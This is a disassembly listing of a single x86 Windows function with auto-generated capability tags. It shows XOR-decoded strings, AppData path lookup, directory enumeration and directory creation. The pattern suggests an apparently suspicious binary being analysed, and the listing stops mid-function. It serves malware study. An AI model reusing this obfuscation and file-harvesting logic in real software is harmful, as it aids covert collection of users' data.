Function at 0x44a990
Capabilities:
Check if file exists
Copy file
Create directory
Encode data using xor
Enumerate files on windows
Get common file path
Get file attributes
Inspect section memory permissions

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x523942
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x450
push esi
push edi
mov dword [ebp - 0x4c], 0
push 0x104
lea eax, [ebp - 0x460]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.004f9bf0
add esp, 0xc
lea eax, [ebp - 0x460]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
movaps xmm0, xmmword [0x545600]
xor ecx, ecx
movups xmmword [ebp - 0x168], xmm0
mov byte [ebp - 0x158], 0x8b
xorps xmm0, xmm0
mov byte [ebp - 0x14f], 0
movq qword [ebp - 0x157], xmm0
nop word [eax + eax]
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x168], al
inc ecx
cmp ecx, 0x11
jb 0x44aa30
mov dword [0x5585e4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x168]
mov byte [ebp - 0x157], 0
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x38], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x34], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44aa70
sub ecx, edx
lea eax, [ebp - 0x168]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.00402b20
mov byte [ebp - 4], 1
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
xorps xmm0, xmm0
movups xmmword [ebp - 0xa0], xmm0
cmovae edx, dword [ebp - 0x48]
mov ecx, edx
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x8c], 0
lea esi, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44aac0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0xa0]
call fcn.00402b20
lea eax, [ebp - 0xa0]
mov byte [ebp - 4], 2
push eax
lea edx, [ebp - 0x460]
lea ecx, [ebp - 0x1d0]
call fcn.004839c0
add esp, 4
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x8c]
cmp ecx, 0x10
jb 0x44ab33
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44ab29
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ced5
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x8c], 0xf
mov byte [ebp - 0xa0], 0
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x44ab86
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44ab7c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ced5
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov edx, dword [ebp - 0x1bc]
lea esi, [ebp - 0x1d0]
cmp edx, 0x10
jb 0x44aba5
mov esi, dword [ebp - 0x1d0]
test esi, esi
je 0x44ce43
mov ecx, esi
lea edi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44abb0
sub ecx, edi
je 0x44ce43
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x44abe9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x44abe9
cmp eax, 0x20
je 0x44abe9
cmp eax, 0x45
je 0x44abe9
cmp eax, 0x24
jne 0x44ce3d
xorps xmm0, xmm0
mov dword [ebp - 0x2b], 0x8f8998b7
mov word [ebp - 0x27], 0x919b
xor ecx, ecx
movq qword [ebp - 0x25], xmm0
mov byte [ebp - 0x1d], 0
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 6
jb 0x44ac04
mov dword [0x5584f8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x2b]
mov byte [ebp - 0x25], 0
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x38], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x34], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44ac36
sub ecx, edx
lea eax, [ebp - 0x2b]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.00402b20
mov byte [ebp - 4], 6
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
cmovae edx, dword [ebp - 0x48]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44ac60
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x1c0]
sub eax, esi
cmp eax, ecx
jb 0x44ceda
cmp dword [ebp - 0x1bc], 0x10
lea eax, [ebp - 0x1d0]
push ecx
cmovae eax, dword [ebp - 0x1d0]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x10c]
call fcn.00487550
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x44acdd
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44acd3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44cf16
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov edx, dword [ebp - 0xf8]
lea esi, [ebp - 0x10c]
cmp edx, 0x10
jb 0x44acfc
mov esi, dword [ebp - 0x10c]
test esi, esi
je 0x44ce09
mov ecx, esi
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44ad01
sub ecx, edi
je 0x44ce09
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x44ad3a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x44ad3a
cmp eax, 0x20
je 0x44ad3a
cmp eax, 0x45
je 0x44ad3a
cmp eax, 0x24
jne 0x44ce03
xorps xmm0, xmm0
mov byte [ebp - 0x11], 0
mov word [ebp - 0x73], 0x8e99
xor ecx, ecx
movq qword [ebp - 0x71], xmm0
mov byte [ebp - 0x69], 0
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x73], al
inc ecx
cmp ecx, 2
jb 0x44ad52
mov dword [0x558548], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x73]
mov byte [ebp - 0x71], 0
movups xmmword [ebp - 0x68], xmm0
mov dword [ebp - 0x58], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x54], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44ad84
sub ecx, edx
lea eax, [ebp - 0x73]
push ecx
push eax
lea ecx, [ebp - 0x68]
call fcn.00402b20
mov byte [ebp - 4], 9
lea esi, [ebp - 0x68]
cmp dword [ebp - 0x54], 0x10
movaps xmm0, xmmword [0x543510]
cmovae esi, dword [ebp - 0x68]
xor ecx, ecx
mov word [ebp - 0x2f], 0x87b7
mov byte [ebp - 0x2d], 0x88
movups xmmword [ebp - 0x2c], xmm0
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x2f], al
inc ecx
cmp ecx, 0xa
jb 0x44adc0
mov dword [0x558590], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x2f]
mov byte [ebp - 0x25], 0
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x38], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x34], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44adf2
sub ecx, edx
lea eax, [ebp - 0x2f]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.00402b20
mov byte [ebp - 4], 0xa
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
cmovae edx, dword [ebp - 0x48]
mov ecx, edx
lea edi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44ae20
sub ecx, edi
mov eax, closesocket
mov edi, dword [ebp - 0xfc]
sub eax, edi
cmp eax, ecx
jb 0x44cedf
cmp dword [ebp - 0xf8], 0x10
lea eax, [ebp - 0x10c]
push ecx
cmovae eax, dword [ebp - 0x10c]
push edx
push edi
push eax
push ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xa0]
call fcn.00487550
cmp dword [ebp - 0x8c], 0x10
lea eax, [ebp - 0xa0]
push esi
cmovae eax, dword [ebp - 0xa0]
push eax
call fcn.004fda60
mov ecx, dword [ebp - 0x8c]
add esp, 8
mov esi, eax
cmp ecx, 0x10
jb 0x44aebf
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44aeb5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44cee4
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x8c], 0xf
mov byte [ebp - 0xa0], 0
cmp ecx, 0x10
jb 0x44af12
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44af08
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44cee4
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x44af4a
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44af40
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44cee4
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
test esi, esi
je 0x44af6d
push esi
call fcn.005012e8
add esp, 4
mov byte [ebp - 0x11], 1
xor esi, esi
mov dword [ebp - 0x14c], 0
mov dword [ebp - 0x148], esi
mov dword [ebp - 0x144], esi
mov byte [ebp - 4], 0xb
xorps xmm0, xmm0
mov dword [ebp - 0x80], 0xc4c3c6b7
xor ecx, ecx
movq qword [ebp - 0x7c], xmm0
mov byte [ebp - 0x74], 0
nop
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x80], al
inc ecx
cmp ecx, 4
jb 0x44afa0
mov dword [0x558588], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x80]
mov byte [ebp - 0x7c], 0
movups xmmword [ebp - 0xa0], xmm0
mov dword [ebp - 0x90], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x8c], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44afe0
sub ecx, edx
lea eax, [ebp - 0x80]
push ecx
push eax
lea ecx, [ebp - 0xa0]
call fcn.00402b20
mov byte [ebp - 4], 0xc
lea edx, [ebp - 0xa0]
cmp dword [ebp - 0x8c], 0x10
cmovae edx, dword [ebp - 0xa0]
mov ecx, edx
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44b016
sub ecx, edi
mov eax, closesocket
mov edi, dword [ebp - 0xfc]
sub eax, edi
cmp eax, ecx
jb 0x44cee9
cmp dword [ebp - 0xf8], 0x10
lea eax, [ebp - 0x10c]
push ecx
cmovae eax, dword [ebp - 0x10c]
push edx
push edi
push eax
push ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x218]
call fcn.00487550
mov edi, 0x3e070
mov dword [ebp - 0x18], edi
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x8c]
cmp ecx, 0x10
jb 0x44b0a1
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44b097
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44cf11
push ecx
push edx
call fcn.004f7c11
add esp, 8
cmp dword [ebp - 0x204], 0x10
lea ecx, [ebp - 0x358]
lea eax, [ebp - 0x218]
cmovae eax, dword [ebp - 0x218]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x4c], eax
cmp eax, 0xffffffff
je 0x44b6bb
nop
cmp byte [ebp - 0x32c], 0x2e
je 0x44b697
test byte [ebp - 0x358], 0x10
je 0x44b697
xorps xmm0, xmm0
mov word [ebp - 0x73], 0x8e99
movq qword [ebp - 0x71], xmm0
xor ecx, ecx
mov byte [ebp - 0x69], 0
nop
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x73], al
inc ecx
cmp ecx, 2
jb 0x44b100
mov dword [0x558548], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x73]
mov byte [ebp - 0x71], 0
movups xmmword [ebp - 0x68], xmm0
mov dword [ebp - 0x58], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x54], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44b132
sub ecx, edx
lea eax, [ebp - 0x73]
push ecx
push eax
lea ecx, [ebp - 0x68]
call fcn.00402b20
or edi, 0x800
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0x68]
cmp dword [ebp - 0x54], 0x10
xorps xmm0, xmm0
mov dword [ebp - 0x81], 0x9e8c81b7
cmovae eax, dword [ebp - 0x68]
xor ecx, ecx
mov dword [ebp - 0x88], eax
mov byte [ebp - 0x7d], 0x9c
movq qword [ebp - 0x7c], xmm0
mov byte [ebp - 0x74], 0
nop
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x81], al
inc ecx
cmp ecx, 5
jb 0x44b180
mov dword [0x5584f4], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x81]
mov byte [ebp - 0x7c], 0
movups xmmword [ebp - 0xb8], xmm0
mov dword [ebp - 0xa8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xa4], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44b1c1
sub ecx, edx
lea eax, [ebp - 0x81]
push ecx
push eax
lea ecx, [ebp - 0xb8]
call fcn.00402b20
or edi, 0x1000
mov byte [ebp - 4], 0x10
lea eax, [ebp - 0xb8]
cmp dword [ebp - 0xa4], 0x10
xorps xmm0, xmm0
mov byte [ebp - 0xc2], 0xb7
cmovae eax, dword [ebp - 0xb8]
xor ecx, ecx
mov dword [ebp - 0x110], eax
movq qword [ebp - 0xc1], xmm0
mov byte [ebp - 0xb9], 0
nop dword [eax]
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0xc2], al
inc ecx
cmp ecx, 1
jb 0x44b220
mov dword [0x5585d0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xc2]
mov byte [ebp - 0xc1], 0
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x38], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x34], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44b260
sub ecx, edx
lea eax, [ebp - 0xc2]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.00402b20
or edi, 0x200
mov dword [ebp - 0x18], edi
mov byte [ebp - 4], 0x11
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
cmovae edx, dword [ebp - 0x48]
mov ecx, edx
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44b296
sub ecx, edi
mov eax, closesocket
mov edi, dword [ebp - 0xfc]
sub eax, edi
cmp eax, ecx
jb 0x44ceda
cmp dword [ebp - 0xf8], 0x10
lea eax, [ebp - 0x10c]
push ecx
cmovae eax, dword [ebp - 0x10c]
push edx
push edi
push eax
push ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xf4]
call fcn.00487550
mov edi, dword [ebp - 0x18]
or edi, 0x80
lea eax, [ebp - 0x32c]
mov byte [ebp - 4], 0x12
push eax
lea ecx, [ebp - 0xf4]
call fcn.0047f7d0
mov dword [ebp - 0x118], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0x114], 0
or edi, 0x100
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x128], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x118], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
push dword [ebp - 0x110]
lea ecx, [ebp - 0x128]
mov byte [ebp - 4], 0x13
call fcn.0047f7d0
push dword [ebp - 0x88]
mov dword [ebp - 0xcc], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xdc], xmm0
mov dword [ebp - 0xc8], 0
or edi, 0x400
movups xmm0, xmmword [eax]
mov dword [ebp - 0x18], edi
movups xmmword [ebp - 0xdc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xcc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xdc]
cmp dword [ebp - 0xc8], 0x10
cmovae eax, dword [ebp - 0xdc]
push eax
call fcn.004fda60
mov ecx, dword [ebp - 0xc8]
add esp, 8
mov edi, eax
cmp ecx, 0x10
jb 0x44b409
mov edx, dword [ebp - 0xdc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44b3ff
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ced5
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0x114]
mov dword [ebp - 0xcc], 0
mov dword [ebp - 0xc8], 0xf
mov byte [ebp - 0xdc], 0
cmp ecx, 0x10
jb 0x44b462
mov edx, dword [ebp - 0x128]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44b458
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ced5
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0xe0]
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0xf
mov byte [ebp - 0x128], 0
cmp ecx, 0x10
jb 0x44b4bb
mov edx, dword [ebp - 0xf4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44b4b1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ced5
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0xe4], 0
mov dword [ebp - 0xe0], 0xf
mov byte [ebp - 0xf4], 0
cmp ecx, 0x10
jb 0x44b50e
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44b504
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ced5
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0xa4]
cmp ecx, 0x10
jb 0x44b54c
mov edx, dword [ebp - 0xb8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44b542
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ced5
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x44b584
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44b57a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ced5
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
test edi, edi
je 0x44b691
push edi
call fcn.005012e8
xorps xmm0, xmm0
mov dword [ebp - 0x90], 0
lea ecx, [ebp - 0x32c]
mov dword [ebp - 0x8c], 0
add esp, 4
lea edx, [ecx + 1]
movups xmmword [ebp - 0xa0], xmm0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44b5d0
sub ecx, edx
lea eax, [ebp - 0x32c]
push ecx
push eax
lea ecx, [ebp - 0xa0]
call fcn.00402b20
mov byte [ebp - 4], 0x14
cmp esi, dword [ebp - 0x144]
je 0x44b63a
xorps xmm0, xmm0
mov ecx, 0xf
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
movups xmm0, xmmword [ebp - 0xa0]
mov dword [esi + 0x14], 0
mov byte [ebp - 0xa0], 0
movups xmmword [esi], xmm0
movq xmm0, qword [ebp - 0x90]
movq qword [esi + 0x10], xmm0
add esi, 0x18
mov dword [ebp - 0x148], esi
jmp 0x44b659
lea eax, [ebp - 0xa0]
push eax
push esi
lea ecx, [ebp - 0x14c]
call fcn.0048c6d0
mov esi, dword [ebp - 0x148]
mov ecx, dword [ebp - 0x8c]
mov byte [ebp - 4], 0xe
cmp ecx, 0x10
jb 0x44b691
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44b687
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44cf11
push ecx
push edx
call fcn.004f7c11
add esp, 8
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0x358]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
cmp eax, 1
jne 0x44b6b2
mov eax, dword [ebp - 0x4c]
jmp 0x44b0d0
push dword [ebp - 0x4c]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp byte [ebp - 0x11], 0
jne 0x44b6e0
mov ecx, esi
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x14c]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x44cda3
movaps xmm0, xmmword [0x543f10]
xor ecx, ecx
mov word [ebp - 0x2e], 0xb8b7
movups xmmword [ebp - 0x2c], xmm0
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x2e], al
inc ecx
cmp ecx, 9
jb 0x44b6f3
mov dword [0x5585e0], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x2e]
mov byte [ebp - 0x25], 0
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x38], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x34], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44b725
sub ecx, edx
lea eax, [ebp - 0x2e]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.00402b20
mov byte [ebp - 4], 0x15
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
cmovae edx, dword [ebp - 0x48]
mov ecx, edx
lea edi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44b750
sub ecx, edi
mov eax, closesocket
mov edi, dword [ebx + 0x18]
sub eax, edi
cmp eax, ecx
jb 0x44ceee
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push ecx
cmovae eax, dword [ebx + 8]
push edx
push edi
push eax
push ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xa0]
call fcn.00487550
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x44b7c1
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44b7b7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44cf0c
push ecx
push edx
call fcn.004f7c11
add esp, 8
cmp dword [ebp - 0x8c], 0x10
lea eax, [ebp - 0xa0]
push 0
cmovae eax, dword [ebp - 0xa0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x44cd69
xorps xmm0, xmm0
mov dword [ebp - 0x2b], 0x8f8998b7
mov word [ebp - 0x27], 0x919b
xor ecx, ecx
movq qword [ebp - 0x25], xmm0
mov byte [ebp - 0x1d], 0
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 6
jb 0x44b801
mov dword [0x5584f8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x2b]
mov byte [ebp - 0x25], 0
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x38], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x34], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44b833
sub ecx, edx
lea eax, [ebp - 0x2b]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.00402b20
mov byte [ebp - 4], 0x18
lea edx, [ebp - 0x48]
cmp dword [ebp - 0x34], 0x10
cmovae edx, dword [ebp - 0x48]
mov ecx, edx
lea edi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44b860
sub ecx, edi
mov eax, closesocket
mov edi, dword [ebp - 0x90]
sub eax, edi
cmp eax, ecx
jb 0x44cef3
cmp dword [ebp - 0x8c], 0x10
lea eax, [ebp - 0xa0]
push ecx
cmovae eax, dword [ebp - 0xa0]
push edx
push edi
push eax
push ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x1b8]
call fcn.00487550
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x44b8dd
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44b8d3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44cf07
push ecx
push edx
call fcn.004f7c11
add esp, 8
cmp dword [ebp - 0x1a4], 0x10
lea eax, [ebp - 0x1b8]
push 0
cmovae eax, dword [ebp - 0x1b8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x44cd20
cmp byte [ebp - 0x11], 0
je 0x44bb0a
movaps xmm0, xmmword [0x543510]
xor ecx, ecx
mov word [ebp - 0x2f], 0x87b7
mov byte [ebp - 0x2d], 0x88
movups xmmword [ebp - 0x2c], xmm0
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x2f], al
inc ecx
cmp ecx, 0xa
jb 0x44b923
mov dword [0x558590], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x2f]
mov byte [ebp - 0x25], 0
movups xmmword [ebp - 0xdc], xmm0
mov dword [ebp - 0xcc], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xc8], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44b960
sub ecx, edx
lea eax, [ebp - 0x2f]
push ecx
push eax
lea ecx, [ebp - 0xdc]
call fcn.00402b20
mov byte [ebp - 4], 0x1b
lea edx, [ebp - 0xdc]
mov eax, dword [ebp - 0x18]
or eax, 1
cmp dword [ebp - 0xc8], 0x10
mov dword [ebp - 0x18], eax
cmovae edx, dword [ebp - 0xdc]
mov ecx, edx
mov dword [ebp - 0x4c], eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44b9a2
sub ecx, edi
mov eax, closesocket
mov edi, dword [ebp - 0x1a8]
sub eax, edi
cmp eax, ecx
jb 0x44cef8
cmp dword [ebp - 0x1a4], 0x10
lea eax, [ebp - 0x1b8]
push ecx
cmovae eax, dword [ebp - 0x1b8]
push edx
push edi
push eax
push ecx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x68]
call fcn.00487550
mov dword [ebp - 4], 0x1c
lea eax, [ebp - 0x68]
mov edi, dword [ebp - 0x18]
movaps xmm0, xmmword [0x543510]
or edi, 2
cmp dword [ebp - 0x54], 0x10
mov dword [ebp - 0x4c], edi
cmovae eax, dword [ebp - 0x68]
xor ecx, ecx
mov dword [ebp - 0x88], eax
mov word [ebp - 0x2f], 0x87b7
mov byte [ebp - 0x2d], 0x88
movups xmmword [ebp - 0x2c], xmm0
nop dword [eax]
lea eax, [ecx - 0x15]
xor byte [ebp + ecx - 0x2f], al
inc ecx
cmp ecx, 0xa
jb 0x44ba20
mov dword [0x558590], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x2f]
mov byte [ebp - 0x25], 0
movups xmmword [ebp - 0xb8], xmm0
mov dword [ebp - 0xa8], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xa4], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44ba60
sub ecx, edx
lea eax, [ebp - 0x2f]
push ecx
push eax
lea ecx, [ebp - 0xb8]
call fcn.00402b20
mov dword [ebp - 4], 0x1d
lea edx, [ebp - 0xb8]
or edi, 4
cmp dword [ebp - 0xa4], 0x10
mov dword [ebp - 0x18], edi
cmovae edx, dword [ebp - 0xb8]
mov ecx, edx
mov dword [ebp - 0x4c], edi
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44baa2
sub ecx, edi
